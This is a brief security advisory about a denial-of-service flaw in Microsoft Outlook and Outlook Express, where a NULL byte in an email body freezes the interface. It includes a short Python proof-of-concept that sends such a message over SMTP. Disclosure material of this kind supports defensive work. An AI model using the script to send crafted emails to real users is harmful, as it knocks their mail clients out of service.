Microsoft Outlook and Outlook Express have been reported prone to a remote denial of service vulnerability. The issue is reported to present itself when a NULL is encountered in the message body of an e-mail.
It is reported that when the vulnerable software encounters a malicious e-mail as described above, the GUI will cease to respond.
A remote attacker may potentially exploit this condition to deny service to Microsoft Outlook and Outlook Express users.
from_address = "firstname.lastname@example.org"
to_address = "email@example.com"
message = "Before\r\n\000\r\nAfter"
smtp = smtplib.SMTP("localhost")
smtp.sendmail(from_address, [to_address], message)